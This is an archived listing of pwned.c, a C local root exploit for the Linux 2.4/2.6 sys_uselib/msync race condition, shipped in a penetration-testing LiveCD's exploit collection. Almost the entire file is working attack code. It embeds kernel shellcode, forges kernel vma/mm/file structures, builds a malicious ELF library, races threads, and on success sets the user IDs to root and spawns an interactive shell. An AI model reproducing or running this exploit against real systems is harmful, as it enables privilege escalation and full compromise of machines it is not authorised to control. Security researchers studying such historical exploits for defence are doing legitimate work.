home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / pwned.c < prev    next >
C/C++ Source or Header  |  2005-03-23  |  13KB  |  565 lines
  1. /*
  2. * pwned.c - linux 2.4 and 2.6 sys_uselib local root exploit. PRIVATE.
  3. * it's not the best one, the ldt approach is definitively better.
  4. * discovered may 2004. no longer private because lorian/cliph/ihaquer
  5. * can lick my balls.
  6. * (c) 2004 sd <sd@fucksheep.org>
  7. * requieres cca 1gb on fs.
  8. */
  9.  
  10.  
  11. /*
  12. * first create fake vma structs.
  13. *
  14. *
  15. * let's have 3 threads, t1, t2 and t3.
  16. * t1 and t2 have common vm.
  17. *
  18. * t3:
  19. * - wait4sig (will come back from t2)
  20. * - write(fd3, bigmem, bigfile_size)
  21. * - exit()
  22. * t1:
  23. * - fd3 = empty file
  24. * - fd1 = bigfile, writing it took 16 secs
  25. * - bigmem = mmap(NULL, bigfile_size, fd1, 0);
  26. * - t3 = fork()
  27. * - t2 = clone()
  28. * - fd2 = munmap_file, size of ram.
  29. * - mumem = mmap(NULL, munmap_file_size, fd2)
  30. * - mmap(mumem, 4096, ANONYMOUS) // for extending do_brk check
  31. * - mmap lots of vmas
  32. * - close(fd2);
  33. * - create evil lib
  34. * - free lot of vmas
  35. * - sig @ t2
  36. * - evil_lib->do_munmap(mumem + 4096, munmap_file_size - 4096);
  37. * - sem = 1
  38. * - waitpid
  39. * t2:
  40. * - wait4sig
  41. * - sleep(100msec)
  42. * - mmap(mumem, fd3, 4096) // this is being protected by i_sem !
  43. * - sendsig @ t3
  44. * - sleep(100msec)
  45. * - if (sem) error
  46. * - msync(mumem, 8192) - will wait for write() to finish. munmap finishes by that
  47. * time
  48. * - if (!sem) error
  49. * - if it does return we failed, otherwise shell.
  50. *
  51. */
  52.  
  53. #include <stdlib.h>
  54. #include <string.h>
  55. #include <unistd.h>
  56. #include <errno.h>
  57.  
  58. #include <time.h>
  59. #include <sched.h>
  60. #include <signal.h>
  61. #include <stdio.h>
  62.  
  63. #include <sys/types.h>
  64. #include <sys/stat.h>
  65. #include <linux/fcntl.h>
  66. #include <sys/mman.h>
  67. #include <sys/time.h>
  68. #include <linux/elf.h>
  69.  
  70.  
  71.  
  72. #define __WCLONE 0x80000000 /* Wait only on non-SIGCHLD children */
  73.  
  74. #define ltime unsigned long long
  75. #define MEMSZ (70*1024*1024)
  76.  
  77. #define MAGIC -123
  78.  
  79. unsigned char shellcode[] =
  80. "\x60\xe8\x5f\x00\x00\x00\x30\x03\x98\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  81. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  82. "\x50\x52\x49\x56\x41\x54\x45\x2a\x6b\x65\x72\x6e\x65\x6c\x20\x63\x61\x70\x20"
  83. "\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2c\x20\x28\x63\x29\x20\x32\x30\x30\x34"
  84. "\x20\x3c\x73\x64\x40\x68\x79\x73\x74\x65\x72\x69\x61\x2e\x73\x6b\x3e\x2a\x50"
  85. "\x52\x49\x56\x41\x54\x45\x5b\xbd\x00\xe0\xff\xff\x21\xe5\x81\x7d\x00\x00\x00"
  86. "\x00\xc0\x72\x03\x8b\x6d\x00\x8d\x4b\x08\xb8\xb8\x00\x00\x00\xcd\x80\x8b\x11"
  87. "\x8b\x71\x04\x8b\x79\x08\x83\xc5\x04\x39\x55\x00\x75\xf8\x39\x7d\x04\x75\xf3"
  88. "\x39\x75\x08\x75\xee\x31\xc0\x48\x89\x45\x00\x89\x45\x04\x89\x45\x08\xb8\xb8"
  89. "\x00\x00\x00\x8d\x4b\x14\xcd\x80\xff\x41\x04\x74\x0b\x89\x55\x00\x89\x7d\x04"
  90. "\x89\x75\x08\xeb\xc8\x61\xb8\x85\xff\xff\xff\xc3";
  91.  
  92. static ltime gtime()
  93. {
  94. struct timeval tv;
  95. gettimeofday(&tv, NULL);
  96. return tv.tv_sec * 1000000 + tv.tv_usec;
  97. }
  98.  
  99. ltime lt;
  100.  
  101. static void time_start()
  102. {
  103. lt = gtime();
  104. }
  105.  
  106. static void time_end()
  107. {
  108. printf("took %lu microseconds\n", gtime() - lt);
  109. }
  110.  
  111. void core_stat()
  112. {
  113. int s;
  114. char buf[512];
  115. char incore;
  116. unsigned long last = 0;
  117. FILE *f;
  118.  
  119. sprintf(buf, "/proc/%d/maps", getpid());
  120. f = fopen(buf, "rt");
  121. while (fgets(buf, 512, f)) {
  122. unsigned int from, to;
  123. unsigned int i;
  124.  
  125. if (sscanf(buf, "%x-%x", &from, &to) < 2)
  126. break;
  127. // printf("%p!%p\n", from, to);
  128. for (i = from; i < to; i += PAGE_SIZE) {
  129. mincore((void *) i, PAGE_SIZE, &incore);
  130. if (incore) {
  131. r:;
  132. if (!last) {
  133. printf("in core 0x%08x-", i);
  134. s = last = i;
  135. continue;
  136. }
  137. if (last + PAGE_SIZE == i) {
  138. // printf("(%p)", i);
  139. last = i;
  140. continue;
  141. }
  142. printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
  143. last = 0;
  144. goto r;
  145. }
  146. if (!last)
  147. continue;
  148. printf("0x%08x (%d)\n", last + PAGE_SIZE, last + PAGE_SIZE - s);
  149. last = 0;
  150. }
  151. }
  152. fclose(f);
  153. }
  154.  
  155.  
  156. #define SWAPFILE "TTswap"
  157. #define EATFILES "TTeatfiles"
  158. #define EATFILE "TTeatfile"
  159. #define SHAREFILE "TTsharefile"
  160. #define DUMMYFILE "TTdummyfile"
  161. #define EATTIME 10
  162. #define LIBFILE "TTlib"
  163.  
  164. /* number of vma struct fill */
  165. #define VMAFILL 15000 
  166.  
  167. /* how much pages to sync - 2 is enough */
  168. #define NSYNC 2
  169. #define BASE (char *) 0x60000000
  170. #define DBASE (char *) 0x80001000
  171. #define EPAGE (char *) 0x80000000
  172.  
  173. #define MAPSTEP 64 * 4096
  174.  
  175. #if 1
  176. #define DEBUG(x...) { printf("%s():", __func__); printf(x); printf("\n"); }
  177. #else
  178. #define DEBUG(x...)
  179. #endif
  180.  
  181. #define sendsig(pid) kill(pid, SIGUSR1)
  182. #define wait4sig() { while (!gotsig) pause(); gotsig = 0; }
  183.  
  184. #define PAGE_DOWN(x) (x & ~(PAGE_SIZE-1))
  185. #define PAGE_ALIGN(x) ((x+PAGE_SIZE-1) & ~(PAGE_SIZE-1))
  186.  
  187. #undef O_DIRECT
  188. #define O_DIRECT 0
  189.  
  190. struct libimg {
  191. Elf32_Ehdr elf;
  192. Elf32_Phdr ph;
  193. };
  194.  
  195.  
  196. struct dentry_struct {
  197. unsigned dummy0, dummy1;
  198. void *inode1, *inode2;
  199. };
  200.  
  201. struct file_struct {
  202. struct file_struct *next, *prev;
  203. void *dentry;
  204. void *mnt;
  205. void *op;
  206. void *f_mapping[64]; /* somewhere in there is f_mapping on 2.6 */
  207. };
  208.  
  209. /* this should roughly cover 2.4* and 2.6* */
  210. struct vma_struct {
  211. void *mm;
  212. unsigned long vm_start;
  213. unsigned long vm_end;
  214. struct vma_struct *vm_next;
  215. unsigned long pgprot;
  216. unsigned long vmflags;
  217. char rb[16];
  218. void *shared_next, *shared_prev;
  219. void *vm_ops;
  220. unsigned long pgoff;
  221. void *file;
  222. void *priv;
  223. };
  224.  
  225. struct mm_struct {
  226. struct vma_struct *mmap;
  227. void *rb;
  228. struct vma_struct *cache;
  229. void *pgd1;
  230. void *pgd2;
  231. void *pgd3;
  232. /* somewhere there lies the spinlock */
  233. unsigned long locks[32];
  234. };
  235.  
  236.  
  237. /* the image of the evil library. */
  238. struct libimg limg = {
  239. {
  240. e_ident: "\177ELF",
  241. e_type: ET_EXEC,
  242. e_machine: EM_386,
  243. e_phoff: sizeof(Elf32_Ehdr),
  244. e_ehsize: sizeof(Elf32_Ehdr),
  245. e_phentsize: sizeof(Elf32_Phdr),
  246. e_phnum: 1
  247. },
  248. {
  249. p_type: PT_LOAD,
  250. p_vaddr: 0,
  251. p_memsz: 0
  252. }
  253. };
  254.  
  255. static void make_lib(char *name)
  256. {
  257. int libfd = open(name, O_CREAT|O_RDWR|O_TRUNC, 0700);
  258. write(libfd, &limg, sizeof(limg));
  259. fchmod(libfd, 0700);
  260. }
  261.  
  262.  
  263. static char thread_stack[16384];
  264. int fd1, fd2, fd3;
  265. char buf[MAPSTEP];
  266. int notincore;
  267. int t4;
  268. int t3;
  269. int t2;
  270. int bigsize = 0;
  271. char *bigmem = NULL;
  272. int swapsize = 0;
  273. char *swapmem = NULL;
  274. char *base = BASE;
  275. char *vmamem;
  276. int gotsig = 0;
  277. int sem = 0;
  278.  
  279. #define cleanup() _cleanup(__func__, __LINE__)
  280. void killall()
  281. {
  282. if (t2 != getpid())
  283. kill(t2, SIGKILL);
  284. if (t3 != getpid())
  285. kill(t3, SIGKILL);
  286. if (t4 != getpid())
  287. kill(t4, SIGKILL);
  288. }
  289. void _cleanup(const char *name, int line)
  290. {
  291. printf("cleanup called! from %s:%d\n", name, line);
  292. killall();
  293. unlink(SHAREFILE);
  294. unlink(SWAPFILE);
  295. unlink(EATFILES);
  296. unlink(EATFILE);
  297. unlink(LIBFILE);
  298. _exit(1);
  299. }
  300.  
  301.  
  302. #define FAKES_BASE 0x50000000
  303.  
  304. struct fakes {
  305. int t1;
  306. struct mm_struct mm;
  307. struct vma_struct vma;
  308. struct file_struct file;
  309. struct dentry_struct dentry;
  310. unsigned long mapping24[128];
  311. unsigned long mapping26[128];
  312. unsigned long inode[128];
  313. unsigned long pgd[1024];
  314. void *ptrs[128];
  315. char shellcode[sizeof(shellcode)];
  316. int t2;
  317. };
  318.  
  319. struct fakes *fakes = (void *) FAKES_BASE;
  320.  
  321.  
  322. /* build the fake vma which msync_interval will get
  323. * we've to emulate a lot of things!
  324. */
  325. void build_fakevma()
  326. {
  327. int i;
  328. memset(fakes, 0, sizeof(*fakes));
  329. fakes->vma.vm_end = (unsigned)( base + PAGE_SIZE * 2);
  330. fakes->vma.vm_start = (unsigned)(base + PAGE_SIZE);
  331. /* we need this to let the kernel enter the fs callback we control */
  332. fakes->vma.vmflags = 0xf;
  333. fakes->vma.file = &fakes->file;
  334. fakes->vma.mm = &fakes->mm;
  335.  
  336. fakes->mm.pgd1 = fakes->pgd;
  337. fakes->mm.pgd2 = fakes->pgd;
  338. fakes->mm.pgd3 = fakes->pgd;
  339. /* there are no pmd's */
  340. memset(fakes->pgd, 0, sizeof(fakes->pgd));
  341. /* initialize potential spinlock on smp */
  342. for (i = 0; i < 32; i++)
  343. fakes->mm.locks[i] = 1;
  344. /* 2.4 goes thru dentry */
  345. fakes->file.dentry = &fakes->dentry;
  346. fakes->dentry.inode1 = fakes->inode;
  347. fakes->dentry.inode2 = fakes->inode;
  348. /* this will be i_sem */
  349. for (i = 0; i < 32; i++)
  350. fakes->inode[i] = 1;
  351. /* and this reference to i_mapping */
  352. for (i = 32; i < 128; i++)
  353. fakes->inode[i] = (unsigned long) fakes->mapping24;
  354.  
  355. /* 2.6 goes thru f_mapping */
  356. for (i = 0; i < 64; i++)
  357. fakes->file.f_mapping[i] = fakes->mapping26;
  358.  
  359. /* prepare mmappings for both 2.4 and 2.6 */
  360.  
  361. /* mapping on 2.6 requieres to have ->host defined.
  362. and backing_dev_info pointing to bunch of nonzero memory.
  363. also locked_pages list must point to itself (empty) */
  364. fakes->mapping26[0] = (unsigned long) fakes->inode;
  365. for (i = 1; i <= 3; i++)
  366. fakes->mapping26[i] = 0;
  367. for (i = 4; i < 16; i++)
  368. fakes->mapping26[i] = (unsigned long) &fakes->mapping26[i];
  369. for (i = 16; i <= 30; i++)
  370. fakes->mapping26[i] = (unsigned long) fakes->ptrs;
  371.  
  372. /* mapping on 2.4 requieres only having mapping consisting of empty lists */
  373. for (i = 0; i <= 30; i++)
  374. fakes->mapping24[i] = (unsigned long) &fakes->mapping24[i];
  375. for (i = 23; i <= 30; i++)
  376. fakes->mapping24[i] = (unsigned long) fakes->ptrs;
  377.  
  378. /* ok, now setup fops->f_sync to our evil fsync */
  379. fakes->file.op = fakes->ptrs;
  380. for (i = 0; i < 128; i++)
  381. fakes->ptrs[i] = fakes->shellcode;
  382. memcpy(fakes->shellcode, shellcode, sizeof(shellcode));
  383. }
  384.  
  385. void create_fakepage(void *buf)
  386. {
  387. int i;
  388. void *vma = &fakes->vma;
  389. void **p = buf;
  390.  
  391. for (i = 0; i < MAPSTEP; i += sizeof(void *))
  392. *p++ = vma; /* !!! */
  393. }
  394.  
  395.  
  396. static void sighand(int d)
  397. {
  398. gotsig = 1;
  399. }
  400.  
  401.  
  402. static int thread(void *d)
  403. {
  404. int t3;
  405. int ret;
  406. int i;
  407.  
  408. wait4sig();
  409. printf("(sleep1)\n");
  410. usleep(300000);
  411. printf("(sleep1 finished)\n");
  412. printf("trying to mmap back the evil page\n");
  413. for (i = 0; i < VMAFILL; i++) {
  414.     if (i == VMAFILL/2)
  415.     ret=mmap(swapmem + PAGE_SIZE * 2, PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED, fd3, 0);
  416.     mmap(vmamem + i * PAGE_SIZE, PAGE_SIZE, PROT_READ|((i&1)?(PROT_WRITE):(PROT_EXEC)),
  417.     MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  418. }    
  419.  
  420. swapmem[PAGE_SIZE*2] = 'x';
  421. printf("%p, evil mapped\n",ret);
  422. printf("(sleep2)\n");
  423. if (sem)
  424. cleanup();
  425. sendsig(t3);
  426. usleep(300000);
  427. printf("(sleep2 finished)\n");
  428. if (sem)
  429. cleanup();
  430. munmap(vmamem, VMAFILL * PAGE_SIZE);
  431. printf("doing msync\n");
  432. printf("still doing msync\n");
  433. ret = msync(swapmem + PAGE_SIZE * 2, PAGE_SIZE * 4, MS_SYNC);
  434. printf("finished msync, %d, errno=%d\n", ret, errno);
  435. if (ret == -1 && errno == 123) {
  436. sem = 0;
  437. killall();
  438. printf("y4'r3 1uCky k1d!\n");
  439. setresuid(0, 0, 0);
  440. setresgid(0, 0, 0);
  441. execl("/bin/sh", "sh", "-i", NULL);
  442. printf("execve failed %d\n", errno);
  443. }
  444. if (!sem) {
  445. printf(":(\n");
  446. cleanup();
  447. }
  448. _exit(0);
  449. }
  450.  
  451. int main(int argc, char *argv[])
  452. {
  453. int i, n;
  454. char *dummy = DBASE;
  455.  
  456. printf("linux kernel msync race condition\nbug discovered by sd, further research by sd and *****\nthis is development-in-progress code, redistribution prohibited!\n=============================================\n");
  457.  
  458. signal(SIGUSR1, sighand);
  459. signal(SIGALRM, sighand);
  460. setbuf(stdout, NULL);
  461.  
  462. i = open(SHAREFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);
  463.  
  464. mmap(FAKES_BASE, PAGE_ALIGN(sizeof(*fakes)), PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, i,0);
  465. ftruncate(i, PAGE_ALIGN(sizeof(*fakes)));
  466. build_fakevma();
  467. t4 = fork();
  468. if (!t4) {
  469. while (1) {
  470. fakes->t1++;
  471. fakes->t2++;
  472. sched_yield();
  473. }
  474. }
  475. printf("creating fakepage\n");
  476. create_fakepage(buf);
  477. i = open(DUMMYFILE,O_CREAT|O_RDWR|O_TRUNC, 0777);
  478. ftruncate(i, MAPSTEP);
  479. write(i, buf, MAPSTEP);
  480. for (n = 0; n < MEMSZ; n += MAPSTEP)
  481. mmap(dummy + n, MAPSTEP, PROT_READ|PROT_WRITE, MAP_SHARED, i, 0);
  482.  
  483. fd3 = open(EATFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);
  484. ftruncate(fd3, 16384);
  485. /* create the source junkfile */
  486. fd1 = open(EATFILES, O_CREAT|O_RDWR|O_TRUNC, 0777);
  487. alarm(EATTIME);
  488. printf("done fakepage\n");
  489. do {
  490. int c;
  491. c = write(fd1, buf, MAPSTEP);
  492. if (c < MAPSTEP)
  493. break;
  494. bigsize += c;
  495. printf("done %d Kb\r", bigsize / 1024);
  496. } while (!gotsig);
  497. printf("\n");
  498. alarm(0);
  499. gotsig = 0;
  500. bigmem = mmap(base - bigsize, bigsize, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED, fd1, 0);
  501. if (bigmem == MAP_FAILED)
  502. cleanup();
  503.  
  504. t3 = fork();
  505.  
  506. if (!t3) {
  507. wait4sig();
  508. printf("starting aggresive write!\n");
  509. write(fd3, bigmem, bigsize);
  510. printf("done aggresive write!\n");
  511. _exit(0);
  512. }
  513.  
  514. t2 = clone(thread, thread_stack + sizeof(thread_stack) - 4,
  515. 0xf00, NULL);
  516.  
  517. swapmem = base;
  518. if (mmap(swapmem, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0)
  519. == MAP_FAILED) cleanup();
  520.  
  521. /* create the swap */
  522. printf("creating swapfile\n");
  523. fd2 = open(SWAPFILE, O_CREAT|O_RDWR|O_TRUNC, 0777);
  524. ftruncate(fd2, MEMSZ);
  525. vmamem = swapmem + MEMSZ + 16*PAGE_SIZE;
  526. // base += VMAFILL * PAGE_SIZE;
  527.  
  528. printf("vmamem = %p\n", vmamem);
  529. mmap(swapmem + PAGE_SIZE, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, fd2, 0);
  530. printf("swapmem = %p, swapsize = %d\n", swapmem, 2*PAGE_SIZE);
  531. // getchar();
  532.  
  533. // munmap(vmamem, VMAFILL * PAGE_SIZE);
  534.  
  535. write(fd2, dummy, MEMSZ);
  536. close(fd2);
  537.  
  538. printf("unlink\n");
  539. unlink(SWAPFILE);
  540.  
  541.  
  542. // core_stat();
  543.  
  544. build_fakevma();
  545. sendsig(t2);
  546. limg.ph.p_vaddr = (unsigned) swapmem + PAGE_SIZE;
  547. limg.ph.p_memsz = PAGE_SIZE * 2;
  548. make_lib(LIBFILE);
  549. printf("started uselib\n");
  550. time_start();
  551. uselib(LIBFILE);
  552. // munmap(swapmem + PAGE_SIZE, PAGE_SIZE);
  553. time_end();
  554. printf("uselib finished!\n");
  555. sem = 1;
  556. printf("pid %d\n",getpid());
  557. // core_stat();
  558. n = 0;
  559. n = waitpid(t2, NULL, __WCLONE);
  560. printf("waitpid got %d/%d\n", n, errno);
  561. // killall();
  562. cleanup();
  563. }
  564.  
  565.